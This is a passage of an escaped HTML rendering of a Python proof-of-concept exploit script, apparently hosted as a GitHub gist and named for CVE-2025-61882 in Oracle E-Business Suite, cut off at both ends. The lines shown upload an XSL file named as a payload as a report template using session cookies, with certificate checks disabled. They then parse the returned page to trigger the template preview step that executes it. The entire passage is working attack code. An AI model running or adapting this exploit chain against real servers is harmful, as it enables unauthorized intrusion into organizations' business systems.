id=\&quot;file-ebs_cve-2025-61882_poc-py-L249\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;249\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC249\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s>&amp;#39;ApplicationName&amp;#39;</span>: <span class=pl-s>&amp;#39;Application Report Generator&amp;#39;</span>,</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L250\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;250\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC250\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s>&amp;#39;ApplicationId&amp;#39;</span>: <span class=pl-s>&amp;#39;168&amp;#39;</span>,</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L251\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;251\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC251\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s>&amp;#39;ApplicationShortName&amp;#39;</span>: <span class=pl-s>&amp;#39;RG&amp;#39;</span>,</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L252\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;252\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC252\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s>&amp;#39;DsDataSourceName&amp;#39;</span>: <span class=pl-s>&amp;#39;FSG program&amp;#39;</span>,</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L253\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;253\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC253\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s>&amp;#39;TempType&amp;#39;</span>: <span class=pl-s1>temp_type_val</span>,</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L254\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;254\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC254\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s>&amp;#39;StartDate&amp;#39;</span>: <span class=pl-s>&amp;#39;14-Jan-2000&amp;#39;</span>,</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L255\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;255\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC255\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s>&amp;#39;LanguageName&amp;#39;</span>: <span class=pl-s>&amp;#39;English&amp;#39;</span>,</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L256\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;256\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC256\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s>&amp;#39;DefaultOutputType&amp;#39;</span>: <span class=pl-s1>def_out_val</span>,</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L257\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;257\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC257\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s>&amp;#39;_FORM_SUBMIT_BUTTON&amp;#39;</span>: <span class=pl-s1>apply_btn_id</span>,</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L258\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;258\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC258\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s>&amp;#39;event&amp;#39;</span>: <span class=pl-s>&amp;#39;&amp;#39;</span>,</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L259\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;259\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC259\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s>&amp;#39;source&amp;#39;</span>: <span class=pl-s>&amp;#39;&amp;#39;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L260\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;260\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC260\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    })</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L261\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;261\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC261\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L262\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;262\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC262\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-s1>files</span> <span class=pl-c1>=</span> {</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L263\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;263\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC263\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s>&amp;#39;AttachData_oafileUpload&amp;#39;</span>: (<span class=pl-s>&amp;#39;payload.xsl&amp;#39;</span>, <span class=pl-c1>XSL_PAYLOAD</span>, <span class=pl-s>&amp;#39;text/xml&amp;#39;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L264\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;264\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC264\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    }</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L265\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;265\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC265\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L266\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;266\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC266\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-en>print</span>(<span class=pl-s>f&amp;quot;[*] Sending POST request to create XSL template &amp;#39;<span class=pl-s1><span class=pl-kos>{</span><span class=pl-c1>TEMPLATE_NAME</span><span class=pl-kos>}</span></span>&amp;#39;...&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L267\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;267\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC267\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    </td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L268\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;268\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC268\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-s1>headers_step3</span> <span class=pl-c1>=</span> <span class=pl-c1>HEADERS</span>.<span class=pl-c1>copy</span>()</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L269\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;269\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC269\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>if</span> <span class=pl-s>&amp;quot;Content-Type&amp;quot;</span> <span class=pl-c1>in</span> <span class=pl-s1>headers_step3</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L270\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;270\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC270\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-k>del</span> <span class=pl-s1>headers_step3</span>[<span class=pl-s>&amp;quot;Content-Type&amp;quot;</span>]</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L271\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;271\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC271\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L272\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;272\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC272\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>try</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L273\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;273\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC273\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s1>r</span> <span class=pl-c1>=</span> <span class=pl-s1>requests</span>.<span class=pl-c1>post</span>(<span class=pl-s1>full_url</span>, <span class=pl-s1>headers</span><span class=pl-c1>=</span><span class=pl-s1>headers_step3</span>, <span class=pl-s1>cookies</span><span class=pl-c1>=</span><span class=pl-c1>COOKIES</span>, <span class=pl-s1>data</span><span class=pl-c1>=</span><span class=pl-s1>payload</span>, <span class=pl-s1>files</span><span class=pl-c1>=</span><span class=pl-s1>files</span>, <span class=pl-s1>verify</span><span class=pl-c1>=</span><span class=pl-c1>False</span>, <span class=pl-s1>proxies</span><span class=pl-c1>=</span><span class=pl-c1>PROXY</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L274\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;274\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC274\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>                </td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L275\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;275\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC275\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-k>if</span> <span class=pl-s>&amp;quot;successfully created&amp;quot;</span> <span class=pl-c1>in</span> <span class=pl-s1>r</span>.<span class=pl-c1>text</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L276\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;276\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC276\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>             <span class=pl-en>print</span>(<span class=pl-s>&amp;quot;[+] XSL Template successfully created!&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L277\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;277\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC277\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-k>else</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L278\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;278\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC278\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>             <span class=pl-en>print</span>(<span class=pl-s>&amp;quot;[-] Application returned an error.&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L279\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;279\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC279\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>             </td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L280\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;280\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC280\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-k>return</span> <span class=pl-s1>r</span>.<span class=pl-c1>text</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L281\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;281\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC281\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L282\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;282\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC282\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>except</span> <span class=pl-v>Exception</span> <span class=pl-k>as</span> <span class=pl-s1>e</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L283\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;283\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC283\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-en>print</span>(<span class=pl-s>f&amp;quot;[-] Request failed: <span class=pl-s1><span class=pl-kos>{</span><span class=pl-s1>e</span><span class=pl-kos>}</span></span>&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L284\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;284\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC284\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L285\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;285\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC285\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-k>def</span> <span class=pl-en>step_4</span>(<span class=pl-s1>url</span>, <span class=pl-s1>html_content</span>):</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L286\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;286\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC286\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-en>print</span>(<span class=pl-s>&amp;quot;[*] Starting Step 4: Triggering Template Preview...&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L287\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;287\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC287\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-s1>soup</span> <span class=pl-c1>=</span> <span class=pl-en>BeautifulSoup</span>(<span class=pl-s1>html_content</span>, <span class=pl-s>&amp;#39;html.parser&amp;#39;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L288\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;288\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC288\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L289\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;289\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC289\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-s1>form</span> <span class=pl-c1>=</span> <span class=pl-s1>soup</span>.<span class=pl-c1>find</span>(<span class=pl-s>&amp;#39;form&amp;#39;</span>, <span class=pl-s1>id</span><span class=pl-c1>=</span><span class=pl-s>&amp;#39;DefaultFormName&amp;#39;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L290\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;290\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC290\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>if</span> <span class=pl-c1>not</span> <span class=pl-s1>form</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L291\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;291\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC291\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-en>print</span>(<span class=pl-s>&amp;quot;[-] Error: Cannot find form DefaultFormName&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L292\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;292\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC292\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-k>return</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L293\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;293\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC293\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L294\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;294\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC294\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-s1>action_url</span> <span class=pl-c1>=</span> <span class=pl-s1>form</span>.<span class=pl-c1>get</span>(<span class=pl-s>&amp;#39;action&amp;#39;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L295\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;295\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC295\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>if</span> <span class=pl-s1>action_url</span>.<span class=pl-c1>startswith</span>(<span class=pl-s>&amp;quot;/&amp;quot;</span>):</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L296\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;296\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC296\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s1>full_url</span> <span class=pl-c1>=</span> <span class=pl-s>f&amp;quot;<span class=pl-s1><span class=pl-kos>{</span><span class=pl-s1>url</span><span class=pl-kos>}</span></span><span class=pl-s1><span class=pl-kos>{</span><span class=pl-s1>action_url</span><span class=pl-kos>}</span></span>&amp;quot;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L297\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;297\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC297\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>else</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L298\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;298\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC298\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s1>full_url</span> <span class=pl-c1>=</span> <span class=pl-s1>action_url</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L299\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;299\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC299\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L300\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;300\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC300\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-c># print(f&amp;quot;[+] Form Action: {full_url}&amp;quot;)</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L301\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;301\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC301\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L302\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;302\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC302\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-s1>payload</span> <span class=pl-c1>=</span> {}</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L303\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;303\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC303\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>for</span> <span class=pl-s1>tag</span> <span class=pl-c1>in</span> <span class=pl-s1>soup</span>.<span class=pl-c1>find_all</span>(<span class=pl-s>&amp;#39;input&amp;#39;</span>, <span class=pl-s1>type</span><span class=pl-c1>=</span><span class=pl-s>&amp;#39;hidden&amp;#39;</span>):</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L304\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;304\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC304\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s1>name</span> <span class=pl-c1>=</span> <span class=pl-s1>tag</span>.<span class=pl-c1>get</span>(<span class=pl-s>&amp;#39;name&amp;#39;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L305\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;305\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC305\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s1>value</span> <span class=pl-c1>=</span> <span class=pl-s1>tag</span>.<span class=pl-c1>get</span>(<span class=pl-s>&amp;#39;value&amp;#39;</span>, <span class=pl-s>&amp;#39;&amp;#39;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L306\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;306\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC306\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-k>if</span> <span class=pl-s1>name</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L307\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;307\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC307\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-s1>payload</span>[<span class=pl-s1>name</span>] <span class=pl-c1>=</span> <span class=pl-s1>value</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L308\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;308\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC308\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L309\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;309\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC309\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-s1>preview_link</span> <span class=pl-c1>=</span> <span class=pl-s1>soup</span>.<span class=pl-c1>find</span>(<span class=pl-s>&amp;#39;a&amp;#39;</span>, <span class=pl-s1>id</span><span class=pl-c1>=</span><span class=pl-s>&amp;#39;N3:PreviewEnabled:0&amp;#39;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L310\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;310\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC310\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>if</span> <span class=pl-c1>not</span> <span class=pl-s1>preview_link</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L311\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;311\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC311\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-en>print</span>(<span class=pl-s>&amp;quot;[-] Exact ID &amp;#39;N3:PreviewEnabled:0&amp;#39; not found. Searching loosely...&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L312\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;312\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC312\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s1>preview_link</span> <span class=pl-c1>=</span> <span class=pl-s1>soup</span>.<span class=pl-c1>find</span>(<span class=pl-s>&amp;#39;a&amp;#39;</span>, <span class=pl-s1>id</span><span class=pl-c1>=</span><span class=pl-k>lambda</span> <span class=pl-s1>x</span>: <span class=pl-s1>x</span> <span class=pl-c1>and</span> <span class=pl-s>&amp;#39;PreviewEnabled&amp;#39;</span> <span class=pl-c1>in</span> <span 